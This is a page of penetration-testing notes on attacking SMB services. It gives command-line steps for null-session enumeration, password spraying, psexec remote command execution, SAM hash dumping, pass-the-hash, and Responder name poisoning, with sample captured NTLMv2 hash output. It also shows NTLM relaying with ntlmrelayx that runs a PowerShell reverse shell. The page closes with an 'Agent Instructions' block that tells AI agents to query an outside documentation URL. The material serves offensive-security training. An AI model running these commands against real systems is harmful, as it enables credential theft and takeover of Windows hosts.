# SMB Server Message Block it was designed to run on top of NetBIOS over TCP/IP (NBT) using TCP port `139` and UDP ports `137` and `138`. However, with Windows 2000, Microsoft added the option to run SMB directly over TCP/IP on port `445` without the extra NetBIOS layer. ## Enumeration ```bash sudo nmap 10.129.14.128 -sV -sC -p139,445 ``` ## Misconfigurations ### File Share SMB can be configured not to require authentication, which is often called a `null session`. Instead, we can log in to a system with no username or password. ```bash smbclient -N -L // ``` list of the server's shares with the option `-L`, and using the option `-N` `Smbmap` is another tool that helps us enumerate network shares and access associated permissions. An advantage of `smbmap` is that it provides a list of permissions for each shared folder. ```bash smbmap -H ``` Using `smbmap` with the `-r` or `-R` (recursive) option, one can browse the directories: ```bash smbmap -H -r notes ``` ```bash smbmap -H --download "notes\note.txt ``` ```bash smbmap -H --upload test.txt "notes\test.txt" ``` ### **Remote Procedure Call (RPC)** We can use the `rpcclient` tool with a null session to enumerate a workstation or Domain Controller. We can use this [cheat sheet from the SANS Institute](https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf) or review the complete list of all these functions found on the [man page](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html) of the `rpcclient`. ```bash rpcclient -U'%' > enumdomusers ``` `Enum4linux` is another utility that supports null sessions, and it utilizes `nmblookup`, `net`, `rpcclient`, and `smbclient` to automate some common enumeration from SMB targets such as: * Workgroup/Domain name * Users information * Operating system information * Groups information * Shares Folders * Password policy information The [original tool](https://github.com/CiscoCXSecurity/enum4linux) was written in Perl and [rewritten by Mark Lowe in Python](https://github.com/cddmp/enum4linux-ng). ```bash ./enum4linux-ng.py -A -C ``` ## Protocol Specifics Attacks If a null session is not enabled, we will need credentials to interact with the SMB protocol. Two common ways to obtain credentials are [brute forcing](https://en.wikipedia.org/wiki/Brute-force_attack) and [password spraying](https://owasp.org/www-community/attacks/Password_Spraying_Attack). ```bash crackmapexec smb -u -p --local-auth ``` {% hint style="danger" %} [Netexec ](https://www.netexec.wiki/)is the fork and continuation of crackmapexec {% endhint %} {% hint style="info" %} By default CME will exit after a successful login is found. Using the `--continue-on-success` flag will continue spraying even after a valid password is found. it is very useful for spraying a single password against a large user list. Additionally, if we are targetting a non-domain joined computer, we will need to use the option `--local-auth`. For a more detailed study Password Spraying see the Active Directory Enumeration & Attacks module. {% endhint %} ## SMB When attacking a Windows SMB Server, our actions will be limited by the privileges we had on the user we manage to compromise. If this user is an Administrator or has specific privileges, we will be able to perform operations such as: * Remote Command Execution * Extract Hashes from SAM Database * Enumerating Logged-on Users * Pass-the-Hash (PTH) We can download PsExec from [Microsoft website](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec), or we can use some Linux implementations: * [Impacket PsExec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) - Python PsExec like functionality example using [RemComSvc](https://github.com/kavika13/RemCom). * [Impacket SMBExec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py) - A similar approach to PsExec without using [RemComSvc](https://github.com/kavika13/RemCom). The technique is described here. This implementation goes one step further, instantiating a local SMB server to receive the output of the commands. This is useful when the target machine does NOT have a writeable share available. * [Impacket atexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py) - This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command. * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) - includes an implementation of `smbexec` and `atexec`. * [Metasploit PsExec](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/smb/psexec.md) - Ruby PsExec implementation. ```bash impacket-psexec administrator:'Password123!'@ ``` ```bash crackmapexec smb -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec ``` {% hint style="info" %} If the`--exec-method` is not defined, CrackMapExec will try to execute the atexec method, if it fails you can try to specify the `--exec-method` smbexec. {% endhint %} ### **Enumerating Logged-on Users** Imagine we are in a network with multiple machines. Some of them share the same local administrator account. In this case, we could use `CrackMapExec` to enumerate logged-on users on all machines within the same network `10.10.110.17/24`, which speeds up our enumeration process. ```bash crackmapexec smb /24 -u administrator -p 'Password123!' --loggedon-users ``` ### **Extract Hashes from SAM Database** ```bash crackmapexec smb -u administrator -p 'Password123!' --sam ``` ### **Pass-the-Hash (PtH)** We can use a PtH attack with any `Impacket` tool, `SMBMap`, `CrackMapExec`, among other tools. Here is an example of how this would work with `CrackMapExec`: ```bash crackmapexec smb -u Administrator -H ``` ### **Forced Authentication Attacks** We can also abuse the SMB protocol by creating a fake SMB Server to capture users' [NetNTLM v1/v2 hashes](https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4). The most common tool to perform such operations is the `Responder`. [Responder](https://github.com/lgandx/Responder) is an LLMNR, NBT-NS, and MDNS poisoner tool with different capabilities, one of them is the possibility to set up fake services, including SMB, to steal NetNTLM v1/v2 hashes. ```bash responder -I ``` When a user or a system tries to perform a Name Resolution (NR), a series of procedures are conducted by a machine to retrieve a host's IP address by its hostname. On Windows machines, the procedure will roughly be as follows: * The hostname file share's IP address is required. * The local host file (C:\Windows\System32\Drivers\etc\hosts) will be checked for suitable records. * If no records are found, the machine switches to the local DNS cache, which keeps track of recently resolved names. * Is there no local DNS record? A query will be sent to the DNS server that has been configured. * If all else fails, the machine will issue a multicast query, requesting the IP address of the file share from other machines on the network. Suppose a user mistyped a shared folder's name `\\mysharefoder\` instead of `\\mysharedfolder\`. In that case, all name resolutions will fail because the name does not exist, and the machine will send a multicast query to all devices on the network, including us running our fake SMB server. This is a problem because no measures are taken to verify the integrity of the responses. Attackers can take advantage of this mechanism by listening in on such queries and spoofing responses, leading the victim to believe malicious servers are trustworthy. This trust is usually used to steal credentials. Example output of responder: ``` [+] Listening for events... [*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser) [*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election) [*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local [*] [LLMNR] Poisoned answer sent to 10.10.110.17 for name mysharefoder [*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local [SMB] NTLMv2-SSP Client : 10.10.110.17 [SMB] NTLMv2-SSP Username : WIN7BOX\demouser [SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000 ``` These captured credentials can be cracked using [hashcat](https://hashcat.net/hashcat/) or relayed to a remote host to complete the authentication and impersonate the user. All saved Hashes are located in Responder's logs directory (`/usr/share/responder/logs/`). We can copy the hash to a file and attempt to crack it using the hashcat module 5600. {% hint style="info" %} If you notice multiples hashes for one account this is because NTLMv2 utilizes both a client-side and server-side challenge that is randomized for each interaction. This makes it so the resulting hashes that are sent are salted with a randomized string of numbers. This is why the hashes don't match but still represent the same password. {% endhint %} If we cannot crack the hash, we can potentially relay the captured hash to another machine using [impacket-ntlmrelayx](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py) or Responder [MultiRelay.py](https://github.com/lgandx/Responder/blob/master/tools/MultiRelay.py) On responder: First, we need to set SMB to `OFF` in our responder configuration file (`/etc/responder/Responder.conf`). ```bash cat /etc/responder/Responder.conf | grep 'SMB =' SMB = Off ``` Then we execute `impacket-ntlmrelayx` with the option `--no-http-server`, `-smb2support`, and the target machine with the option `-t`. By default, `impacket-ntlmrelayx` will dump the SAM database, but we can execute commands by adding the option `-c`. ```bash impacket-ntlmrelayx --no-http-server -smb2support -t ``` We can create a PowerShell reverse shell using , set our machine IP address, port, and the option Powershell #3 (Base64). ```bash impacket-ntlmrelayx --no-http-server -smb2support -t -c 'powershell -e [...]' ``` ## RPC In the [Footprinting](/footprinting.md) page, we discuss how to enumerate a machine using RPC. Apart from enumeration, we can use RPC to make changes to the system, such as: * Change a user's password. * Create a new domain user. * Create a new shared folder. Keep in mind that some specific configurations are required to allow these types of changes through RPC. We can use the [rpclient man page](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html) or [SMB Access from Linux Cheat Sheet](https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf) from the SANS Institute to explore this further. --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://docs.rtlcopymemory.com/attacking-common-services/smb.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.